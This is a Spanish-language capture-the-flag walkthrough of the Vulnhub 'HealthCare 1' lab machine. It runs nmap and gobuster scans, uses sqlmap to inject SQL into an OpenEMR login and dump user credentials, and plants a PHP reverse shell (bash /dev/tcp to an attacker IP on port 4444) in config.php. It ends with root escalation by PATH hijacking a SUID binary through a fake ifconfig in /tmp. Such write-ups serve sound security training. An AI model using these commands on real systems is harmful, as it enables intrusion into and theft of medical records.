HealthCare 1 - Vulnhub

HealthCare 1 - Vulnhub

Escaneo de puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sS -Pn -T4 -O 192.168.100.97
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-05 13:26 CEST
Nmap scan report for 192.168.100.97
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http
MAC Address: BC:24:11:1F:7C:F1 (Proxmox Server Solutions GmbH)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.38
OS details: Linux 2.6.38
Network Distance: 1 hop

Puerto 21

Tenemos un puerto FTP abierto pero que no nos permite autenticarnos como anonymous.

Puerto 80

Tenemos una web estática que nos permite introducir un email que parece pasarse por parámetros POST en URL.

alt text

Escaneando directorios web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gobuster dir -u http://192.168.100.97 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.100.97
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 5031]
/images               (Status: 301) [Size: 344] [--> http://192.168.100.97/images/]
/css                  (Status: 301) [Size: 341] [--> http://192.168.100.97/css/]
/js                   (Status: 301) [Size: 340] [--> http://192.168.100.97/js/]
/vendor               (Status: 301) [Size: 344] [--> http://192.168.100.97/vendor/]
/favicon              (Status: 200) [Size: 1406]
/robots               (Status: 200) [Size: 620]
/fonts                (Status: 301) [Size: 343] [--> http://192.168.100.97/fonts/]
/gitweb               (Status: 301) [Size: 344] [--> http://192.168.100.97/gitweb/]
/phpMyAdmin           (Status: 403) [Size: 59]
/server-status        (Status: 403) [Size: 1000]
/server-info          (Status: 403) [Size: 1000]
/openemr              (Status: 301) [Size: 345] [--> http://192.168.100.97/openemr/]
Progress: 1273832 / 1273833 (100.00%)
===============================================================
Finished
===============================================================

En el archivo robots.txt vemos:

alt text

Tras probar un rato no parece que tengamos acceso a muchas de esas direcciones pero si tenemos acceso a /openemr/ podemos ver que es un CMS de OpenEMR.

alt text

Podemos ver directamente la versión de OpenEMR que se está utilizando por lo que vamos a buscar vulnerabilidades en esa versión.

Explotando OpenEMR

En ExploitDB podemos encontrar una vulnerabilidad que nos permite realizar un SQL INJECTION

Con esto en mente podemos usar SQLMAP para realizar un ataque de inyección SQL.

Para capturar la petición HTTP necesaria, abirmos BurpSuite y hacemos un intento de iniciar sesión.

alt text

alt text

1
sqlmap -r request.txt --dbs --batch

alt text

Seleccionaremos la base de datos openemr y veremos las tablas que tiene.

1
sqlmap -r request.txt -D openemr --tables --batch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
[141 tables]
+---------------------------------+
| array                           |
| groups                          |
| log                             |
| version                         |
| addresses                       |
| amc_misc_data                   |
| ar_activity                     |
| ar_session                      |
| audit_details                   |
| audit_master                    |
| automatic_notification          |
| batchcom                        |
| billing                         |
| categories                      |
| categories_seq                  |
| categories_to_documents         |
| chart_tracker                   |
| claims                          |
| clinical_plans                  |
| clinical_plans_rules            |
| clinical_rules                  |
| code_types                      |
| codes                           |
| config                          |
| config_seq                      |
| customlists                     |
| documents                       |
| documents_legal_categories      |
| documents_legal_detail          |
| documents_legal_master          |
| drug_inventory                  |
| drug_sales                      |
| drug_templates                  |
| drugs                           |
| eligibility_response            |
| eligibility_verification        |
| employer_data                   |
| enc_category_map                |
| extended_log                    |
| facility                        |
| fee_sheet_options               |
| form_dictation                  |
| form_encounter                  |
| form_misc_billing_options       |
| form_reviewofs                  |
| form_ros                        |
| form_soap                       |
| form_vitals                     |
| forms                           |
| gacl_acl                        |
| gacl_acl_sections               |
| gacl_acl_seq                    |
| gacl_aco                        |
| gacl_aco_map                    |
| gacl_aco_sections               |
| gacl_aco_sections_seq           |
| gacl_aco_seq                    |
| gacl_aro                        |
| gacl_aro_groups                 |
| gacl_aro_groups_id_seq          |
| gacl_aro_groups_map             |
| gacl_aro_map                    |
| gacl_aro_sections               |
| gacl_aro_sections_seq           |
| gacl_aro_seq                    |
| gacl_axo                        |
| gacl_axo_groups                 |
| gacl_axo_groups_map             |
| gacl_axo_map                    |
| gacl_axo_sections               |
| gacl_groups_aro_map             |
| gacl_groups_axo_map             |
| gacl_phpgacl                    |
| geo_country_reference           |
| geo_zone_reference              |
| globals                         |
| gprelations                     |
| history_data                    |
| immunizations                   |
| insurance_companies             |
| insurance_data                  |
| insurance_numbers               |
| integration_mapping             |
| issue_encounter                 |
| lang_constants                  |
| lang_custom                     |
| lang_definitions                |
| lang_languages                  |
| layout_options                  |
| lbf_data                        |
| list_options                    |
| lists                           |
| lists_touch                     |
| notes                           |
| notification_log                |
| notification_settings           |
| onotes                          |
| openemr_module_vars             |
| openemr_modules                 |
| openemr_postcalendar_categories |
| openemr_postcalendar_events     |
| openemr_postcalendar_limits     |
| openemr_postcalendar_topics     |
| openemr_session_info            |
| patient_access_offsite          |
| patient_access_onsite           |
| patient_data                    |
| patient_reminders               |
| payments                        |
| pharmacies                      |
| phone_numbers                   |
| pma_bookmark                    |
| pma_column_info                 |
| pma_history                     |
| pma_pdf_pages                   |
| pma_relation                    |
| pma_table_coords                |
| pma_table_info                  |
| pnotes                          |
| prescriptions                   |
| prices                          |
| procedure_order                 |
| procedure_report                |
| procedure_result                |
| procedure_type                  |
| registry                        |
| rule_action                     |
| rule_action_item                |
| rule_filter                     |
| rule_patient_data               |
| rule_reminder                   |
| rule_target                     |
| sequences                       |
| standardized_tables_track       |
| syndromic_surveillance          |
| template_users                  |
| transactions                    |
| user_settings                   |
| users                           |
| users_facility                  |
| x12_partners                    |
+---------------------------------+

Sabiendo que existe una tabla llamada users podemos intentar volcar los datos de la tabla.

1
sqlmap -r request.txt -D openemr -T users --dump --batch

alt text

Conseguimos ciertas credenciales para dos usuarios.

Acceso a OpenEMR

alt text

Ahora que tenemos acceso como administrador podemos explorar la aplicación en busca de posibles RCE.

En el apartado de Administration podemos ver que hay una opción para editar o subir archivos al servidor.

alt text

Aquí vamos a crear una shell reversa en PHP editando el archivo config.php.

1
2
3
4
<?php
$cmd = "nohup bash -c 'bash -i >& /dev/tcp/192.168.100.210/4444 0>&1' &";
system($cmd);
?>

alt text

Escuchamos el puerto 4444 y guardamos el archivo modificado.

1
nc -nlvp 4444

alt text

Explorando el sistema

Ahora estabilizamos la shell y exploramos el sistema.

1
2
3
4
5
python -c 'import pty; pty.spawn("/bin/bash")'
CRTL+Z
stty raw -echo ; fg
ENTER
export TERM=xterm

Aquí encontramos la userflag

alt text

Escalando privilegios

Al igual que siempre podemos usar sudo -l para comprobar si está mal configurado pero en este caso no parece que sea así, por lo que vamos a buscar binarios con SUID activo.

1
find / -perm -4000 -type f 2>/dev/null

Aquí encontramos un binario sospechoso.

alt text

Podemos usar el comando strings /usr/bin/healthcheck para ver el contenido legible del binario, y entender qué hace. Esto nos muestra que el binario básicamente realiza una comprobación de la configuración IP del sistema con el comando ifconfig, y también revisa las particiones de disco con fdisk -l.

alt text

Como el binario está usando el comando ifconfig, podemos crear nuestra propia versión maliciosa de ifconfig en un directorio que nosotros elijamos, y luego añadir ese directorio a la variable de entorno PATH.

Entonces, nos movemos al directorio /tmp con cd /tmp, y creamos un archivo llamado ifconfig y le damos permisos de ejecución.

alt text

Modificamos la variable PATH para que primero busque comandos en /tmp.

1
export PATH=/tmp:$PATH

Y ahora ejecutamos el binario.

1
/usr/bin/healthcheck

alt text